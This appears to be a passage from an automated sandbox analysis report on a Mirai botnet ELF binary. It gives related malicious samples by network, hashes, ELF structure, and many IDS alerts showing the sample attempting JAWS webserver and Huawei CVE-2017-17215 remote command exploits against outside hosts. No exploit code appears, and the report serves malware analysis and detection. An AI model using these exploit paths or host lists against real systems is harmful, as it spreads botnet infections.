VODACOM-ZA	sh4.elf	Get hash	malicious	Mirai	Browse	156.141.254.169
	arm7.elf	Get hash	malicious	Mirai	Browse	156.133.239.120
	mips.elf	Get hash	malicious	Mirai	Browse	156.21.96.236
	nsharm7.elf	Get hash	malicious	Mirai	Browse	41.8.13.79
	arm.elf	Get hash	malicious	Mirai	Browse	41.14.214.97
	Nowe zam#U00f3wienie - 0072291855.pdf (243KB).com.exe	Get hash	malicious	Quasar	Browse	156.0.0.7
	sora.mips.elf	Get hash	malicious	Mirai	Browse	156.24.5.78
	la.bot.mipsel.elf	Get hash	malicious	Mirai	Browse	41.28.9.178
	la.bot.arm7.elf	Get hash	malicious	Mirai	Browse	41.22.92.99
	la.bot.powerpc.elf	Get hash	malicious	Mirai	Browse	105.250.4.122
TISCALI-IT	sora.ppc.elf	Get hash	malicious	Mirai	Browse	94.35.224.52
	x86_64.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	94.34.129.113
	botnet.sh4.elf	Get hash	malicious	Mirai, Moobot	Browse	94.37.65.209
	mpsl.elf	Get hash	malicious	Mirai, Moobot	Browse	84.220.146.189
	arm7.elf	Get hash	malicious	Mirai, Moobot	Browse	78.13.230.214
	i586.elf	Get hash	malicious	Unknown	Browse	94.35.182.9
	spc.elf	Get hash	malicious	Mirai	Browse	94.35.125.208
	loligang.mpsl-20241128-1536.elf	Get hash	malicious	Mirai	Browse	84.223.139.195
	botx.arm6.elf	Get hash	malicious	Mirai	Browse	84.223.104.18
	arm7.elf	Get hash	malicious	Unknown	Browse	94.35.24.177
LEVEL3US	sh4.elf	Get hash	malicious	Mirai	Browse	9.198.170.81
	teste.arm7.elf	Get hash	malicious	Mirai, Moobot, Okiru	Browse	67.201.96.165
	teste.arm.elf	Get hash	malicious	Gafgyt, Mirai, Moobot, Okiru	Browse	206.32.212.211
	arm.elf	Get hash	malicious	Mirai	Browse	4.252.228.122
	xd.mpsl.elf	Get hash	malicious	Mirai	Browse	8.125.123.88
	xd.x86.elf	Get hash	malicious	Mirai	Browse	4.9.83.120
	xd.mips.elf	Get hash	malicious	Mirai	Browse	4.215.84.193
	xd.ppc.elf	Get hash	malicious	Mirai	Browse	4.203.47.32
	xd.arm.elf	Get hash	malicious	Mirai	Browse	8.96.5.43
	xd.sh4.elf	Get hash	malicious	Mirai	Browse	9.99.10.82
ISZA	teste.arm7.elf	Get hash	malicious	Mirai, Moobot, Okiru	Browse	196.36.23.103
	arm.elf	Get hash	malicious	Mirai	Browse	156.8.250.180
	sora.mips.elf	Get hash	malicious	Mirai	Browse	196.215.73.186
	la.bot.mipsel.elf	Get hash	malicious	Mirai	Browse	197.96.198.139
	mips.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	196.33.170.223
	arm5.nn-20241201-1515.elf	Get hash	malicious	Mirai, Okiru	Browse	196.35.53.141
	x86_64.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	196.23.251.199
	x86_32.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	196.210.99.84
	hmips.elf	Get hash	malicious	Mirai	Browse	197.103.64.235
	mpsl.elf	Get hash	malicious	Mirai	Browse	197.101.109.102

File type:	ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, stripped
Entropy (8bit):	6.235180081341456
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	x86_64.elf
File size:	68'352 bytes
MD5:	88660446811d50c52341472f9b03d870
SHA1:	bc8c0a5be47d1538a1504aded3f9fdffaabe3b6f
SHA256:	011c4d82c6f391669c979bb51cabe5815e14f370e96e4492d298ad16f510b73d
SHA512:	15a1bc29f9e2f6c97b498edc751d13720ea7b643f48e7745fa3b10194942294d04556e6a963b3075c6c402c11aead80bf564696f71180a69d10c629055da7cac
SSDEEP:	1536:AQqMYLd31JuGGCao6GRnBkmnz8o16Qj7AT4vpN3:VqMYrJdvaopRnuE16QjI4v
TLSH:	8D634B83798184FDC55CC27457BB7A36D82234BD0339B2D637C8BF275D0AE605E2AA85
File Content Preview:	.ELF..............>.......@.....@...................@.8...@.......................@.......@...............................................Q.......Q.....8.......`...............Q.td....................................................H...._........H........

Static ELF Info

ELF header
Class:	ELF64
Data:	2's complement, little endian
Version:	1 (current)
Machine:	Advanced Micro Devices X86-64
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x400194
Flags:	0x0
ELF Header Size:	64
Program Header Offset:	64
Program Header Size:	56
Number of Program Headers:	3
Section Header Offset:	67712
Section Header Size:	64
Number of Section Headers:	10
Header String Table Index:	9

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x4000e8	0xe8	0x13	0x0	0x6	AX	1
.text	PROGBITS	0x400100	0x100	0xeb26	0x0	0x6	AX	16
.fini	PROGBITS	0x40ec26	0xec26	0xe	0x0	0x6	AX	1
.rodata	PROGBITS	0x40ec40	0xec40	0x19c0	0x0	0x2	A	32
.ctors	PROGBITS	0x510608	0x10608	0x10	0x0	0x3	WA	8
.dtors	PROGBITS	0x510618	0x10618	0x10	0x0	0x3	WA	8
.data	PROGBITS	0x510640	0x10640	0x200	0x0	0x3	WA	32
.bss	NOBITS	0x510840	0x10840	0xe28	0x0	0x3	WA	32
.shstrtab	STRTAB	0x0	0x10840	0x3e	0x0	0x0		1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x400000	0x400000	0x10600	0x10600	6.2815	0x5	R E	0x100000	.init .text .fini .rodata
LOAD	0x10608	0x510608	0x510608	0x238	0x1060	2.8984	0x6	RW	0x100000	.ctors .dtors .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x6	RW	0x8

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-03T22:16:51.481968+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	36100	148.77.50.206	80	TCP
2024-12-03T22:16:51.481968+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	36100	148.77.50.206	80	TCP
2024-12-03T22:16:51.910119+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	50814	189.63.67.242	80	TCP
2024-12-03T22:16:51.910119+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	50814	189.63.67.242	80	TCP
2024-12-03T22:16:51.953564+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	56390	201.216.93.118	80	TCP
2024-12-03T22:16:51.953564+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	56390	201.216.93.118	80	TCP
2024-12-03T22:16:52.840666+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	38588	143.95.246.74	80	TCP
2024-12-03T22:16:52.840666+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	38588	143.95.246.74	80	TCP
2024-12-03T22:16:54.435640+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	47024	58.233.196.220	80	TCP
2024-12-03T22:16:54.435640+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	47024	58.233.196.220	80	TCP
2024-12-03T22:16:57.701713+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	36064	197.4.255.171	37215	TCP
2024-12-03T22:17:02.741173+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	38664	41.71.190.203	37215	TCP
2024-12-03T22:17:02.899626+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	47242	156.231.61.46	37215	TCP
2024-12-03T22:17:03.104975+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	58844	41.215.18.134	37215	TCP
2024-12-03T22:17:05.674697+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	38202	195.66.25.125	80	TCP
2024-12-03T22:17:05.674697+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	38202	195.66.25.125	80	TCP
2024-12-03T22:17:05.762128+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	57118	103.68.228.38	80	TCP
2024-12-03T22:17:05.762128+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	57118	103.68.228.38	80	TCP
2024-12-03T22:17:05.982297+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	52546	156.229.62.237	37215	TCP
2024-12-03T22:17:06.318955+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	52484	197.7.168.119	37215	TCP
2024-12-03T22:17:09.420536+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	59658	156.21.203.122	37215	TCP
2024-12-03T22:17:09.603237+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	38366	156.41.220.188	37215	TCP
2024-12-03T22:17:09.603665+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	51230	197.137.137.132	37215	TCP
2024-12-03T22:17:10.452402+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	44002	93.134.211.187	80	TCP
2024-12-03T22:17:10.452402+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	44002	93.134.211.187	80	TCP
2024-12-03T22:17:10.461269+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	34554	44.97.239.58	80	TCP
2024-12-03T22:17:10.461269+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	34554	44.97.239.58	80	TCP
2024-12-03T22:17:10.469901+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	50084	141.23.106.58	80	TCP
2024-12-03T22:17:10.469901+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	50084	141.23.106.58	80	TCP
2024-12-03T22:17:10.478714+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	54802	69.105.106.1	80	TCP
2024-12-03T22:17:10.478714+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	54802	69.105.106.1	80	TCP
2024-12-03T22:17:10.498657+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	51332	5.50.172.102	80	TCP
2024-12-03T22:17:10.498657+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	51332	5.50.172.102	80	TCP
2024-12-03T22:17:10.514385+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	49430	142.163.169.148	80	TCP
2024-12-03T22:17:10.514385+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	49430	142.163.169.148	80	TCP
2024-12-03T22:17:10.514443+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	35632	217.15.168.25	80	TCP
2024-12-03T22:17:10.514443+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	35632	217.15.168.25	80	TCP
2024-12-03T22:17:10.523664+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	53804	46.29.80.182	80	TCP
2024-12-03T22:17:10.523664+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	53804	46.29.80.182	80	TCP
2024-12-03T22:17:10.545681+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	56994	106.125.175.246	80	TCP
2024-12-03T22:17:10.545681+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	56994	106.125.175.246	80	TCP
2024-12-03T22:17:10.555075+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	36578	53.119.123.13	80	TCP
2024-12-03T22:17:10.555075+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	36578	53.119.123.13	80	TCP
2024-12-03T22:17:10.555321+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	41946	108.128.143.21	80	TCP
2024-12-03T22:17:10.555321+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	41946	108.128.143.21	80	TCP
2024-12-03T22:17:10.561391+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	58412	191.107.11.36	80	TCP
2024-12-03T22:17:10.561391+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	58412	191.107.11.36	80	TCP
2024-12-03T22:17:10.570463+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	57904	23.13.227.180	80	TCP
2024-12-03T22:17:10.570463+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	57904	23.13.227.180	80	TCP
2024-12-03T22:17:10.577047+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	58214	159.56.174.211	80	TCP
2024-12-03T22:17:10.577047+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	58214	159.56.174.211	80	TCP
2024-12-03T22:17:10.586263+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	38168	136.30.197.42	80	TCP
2024-12-03T22:17:10.586263+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	38168	136.30.197.42	80	TCP
2024-12-03T22:17:10.586348+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	58950	213.10.8.153	80	TCP
2024-12-03T22:17:10.586348+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	58950	213.10.8.153	80	TCP
2024-12-03T22:17:10.586498+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	48852	76.65.219.244	80	TCP
2024-12-03T22:17:10.586498+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	48852	76.65.219.244	80	TCP
2024-12-03T22:17:11.243397+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	57206	193.208.82.87	80	TCP
2024-12-03T22:17:11.243397+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	57206	193.208.82.87	80	TCP
2024-12-03T22:17:11.360450+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	48250	156.232.91.7	37215	TCP
2024-12-03T22:17:11.389832+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	46196	59.87.238.43	80	TCP
2024-12-03T22:17:11.389832+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	46196	59.87.238.43	80	TCP
2024-12-03T22:17:11.421161+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	54544	137.84.118.55	80	TCP
2024-12-03T22:17:11.421161+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	54544	137.84.118.55	80	TCP
2024-12-03T22:17:11.421600+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	42718	200.134.217.200	80	TCP
2024-12-03T22:17:11.421600+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	42718	200.134.217.200	80	TCP
2024-12-03T22:17:11.421775+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	54340	89.199.198.11	80	TCP
2024-12-03T22:17:11.421775+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	54340	89.199.198.11	80	TCP
2024-12-03T22:17:11.421936+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	59488	89.148.112.82	80	TCP
2024-12-03T22:17:11.421936+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	59488	89.148.112.82	80	TCP
2024-12-03T22:17:11.422058+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	42698	86.87.136.30	80	TCP
2024-12-03T22:17:11.422058+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	42698	86.87.136.30	80	TCP
2024-12-03T22:17:11.422251+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	33746	51.0.21.42	80	TCP
2024-12-03T22:17:11.422251+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	33746	51.0.21.42	80	TCP
2024-12-03T22:17:11.422352+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	55748	50.18.129.224	80	TCP
2024-12-03T22:17:11.422352+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	55748	50.18.129.224	80	TCP
2024-12-03T22:17:11.422427+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	51504	120.125.222.84	80	TCP
2024-12-03T22:17:11.422427+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	51504	120.125.222.84	80	TCP
2024-12-03T22:17:11.422525+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	40354	177.102.58.160	80	TCP
2024-12-03T22:17:11.422525+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	40354	177.102.58.160	80	TCP
2024-12-03T22:17:11.430072+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	42740	126.110.141.44	80	TCP
2024-12-03T22:17:11.430072+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	42740	126.110.141.44	80	TCP
2024-12-03T22:17:11.430700+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	51992	44.100.34.190	80	TCP
2024-12-03T22:17:11.430700+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	51992	44.100.34.190	80	TCP
2024-12-03T22:17:11.430716+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	35534	44.223.88.222	80	TCP
2024-12-03T22:17:11.430716+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	35534	44.223.88.222	80	TCP
2024-12-03T22:17:11.436228+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	53878	219.159.129.91	80	TCP
2024-12-03T22:17:11.436228+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	53878	219.159.129.91	80	TCP
2024-12-03T22:17:11.436283+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	50606	106.119.111.49	80	TCP
2024-12-03T22:17:11.436283+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	50606	106.119.111.49	80	TCP
2024-12-03T22:17:11.436402+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	41218	72.185.180.188	80	TCP
2024-12-03T22:17:11.436402+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	41218	72.185.180.188	80	TCP
2024-12-03T22:17:11.445525+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	36024	161.83.220.85	80	TCP
2024-12-03T22:17:11.445525+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	36024	161.83.220.85	80	TCP
2024-12-03T22:17:11.452029+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	51966	115.64.13.91	80	TCP
2024-12-03T22:17:11.452029+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	51966	115.64.13.91	80	TCP
2024-12-03T22:17:11.461521+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	34050	133.151.36.237	80	TCP
2024-12-03T22:17:11.461521+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	34050	133.151.36.237	80	TCP
2024-12-03T22:17:11.461751+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	35510	19.67.64.37	80	TCP
2024-12-03T22:17:11.461751+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	35510	19.67.64.37	80	TCP
2024-12-03T22:17:11.461824+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	50274	122.157.177.130	80	TCP
2024-12-03T22:17:11.461824+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	50274	122.157.177.130	80	TCP
2024-12-03T22:17:11.462032+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	44588	186.244.224.1	80	TCP
2024-12-03T22:17:11.462032+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	44588	186.244.224.1	80	TCP
2024-12-03T22:17:11.470526+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	46164	120.53.85.174	80	TCP
2024-12-03T22:17:11.470526+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	46164	120.53.85.174	80	TCP
2024-12-03T22:17:11.471996+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	39452	150.32.225.133	80	TCP
2024-12-03T22:17:11.471996+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	39452	150.32.225.133	80	TCP
2024-12-03T22:17:11.472003+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	39680	149.70.197.245	80	TCP
2024-12-03T22:17:11.472003+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	39680	149.70.197.245	80	TCP
2024-12-03T22:17:11.472007+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	44360	156.101.171.54	37215	TCP
2024-12-03T22:17:11.472015+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	42384	95.148.172.170	80	TCP
2024-12-03T22:17:11.472015+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	42384	95.148.172.170	80	TCP
2024-12-03T22:17:11.472034+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	37802	205.37.220.224	80	TCP
2024-12-03T22:17:11.472034+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	37802	205.37.220.224	80	TCP
2024-12-03T22:17:11.472096+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	52012	101.26.29.84	80	TCP
2024-12-03T22:17:11.472096+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	52012	101.26.29.84	80	TCP
2024-12-03T22:17:11.472097+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	40602	18.120.91.237	80	TCP
2024-12-03T22:17:11.472097+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	40602	18.120.91.237	80	TCP
2024-12-03T22:17:11.472107+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	37786	66.28.161.170	80	TCP
2024-12-03T22:17:11.472107+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	37786	66.28.161.170	80	TCP
2024-12-03T22:17:11.472128+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	37950	159.180.151.117	80	TCP
2024-12-03T22:17:11.472128+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	37950	159.180.151.117	80	TCP
2024-12-03T22:17:11.472144+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	53678	13.77.179.192	80	TCP
2024-12-03T22:17:11.472144+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	53678	13.77.179.192	80	TCP
2024-12-03T22:17:11.472161+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	48268	70.167.174.224	80	TCP
2024-12-03T22:17:11.472161+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	48268	70.167.174.224	80	TCP
2024-12-03T22:17:11.477295+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	43316	115.161.242.231	80	TCP
2024-12-03T22:17:11.477295+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	43316	115.161.242.231	80	TCP
2024-12-03T22:17:11.477614+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	35752	112.106.103.207	80	TCP
2024-12-03T22:17:11.477614+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	35752	112.106.103.207	80	TCP
2024-12-03T22:17:11.478015+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	35558	159.216.106.173	80	TCP
2024-12-03T22:17:11.478015+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	35558	159.216.106.173	80	TCP
2024-12-03T22:17:11.478217+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	55882	70.48.67.132	80	TCP
2024-12-03T22:17:11.478217+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	55882	70.48.67.132	80	TCP
2024-12-03T22:17:11.478430+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	37124	52.147.152.231	80	TCP
2024-12-03T22:17:11.478430+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	37124	52.147.152.231	80	TCP
2024-12-03T22:17:11.478558+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	37904	208.170.5.222	80	TCP
2024-12-03T22:17:11.478558+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	37904	208.170.5.222	80	TCP
2024-12-03T22:17:11.478696+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	52248	182.205.184.220	80	TCP
2024-12-03T22:17:11.478696+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	52248	182.205.184.220	80	TCP
2024-12-03T22:17:11.478846+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	52836	83.119.82.146	80	TCP
2024-12-03T22:17:11.478846+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	52836	83.119.82.146	80	TCP
2024-12-03T22:17:11.492957+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	59838	8.163.124.143	80	TCP
2024-12-03T22:17:11.492957+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	59838	8.163.124.143	80	TCP
2024-12-03T22:17:11.493248+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	49242	156.47.9.159	80	TCP
2024-12-03T22:17:11.493248+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	49242	156.47.9.159	80	TCP
2024-12-03T22:17:11.493275+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	36696	83.228.148.68	80	TCP
2024-12-03T22:17:11.493275+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	36696	83.228.148.68	80	TCP
2024-12-03T22:17:11.493289+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	48866	49.132.127.254	80	TCP
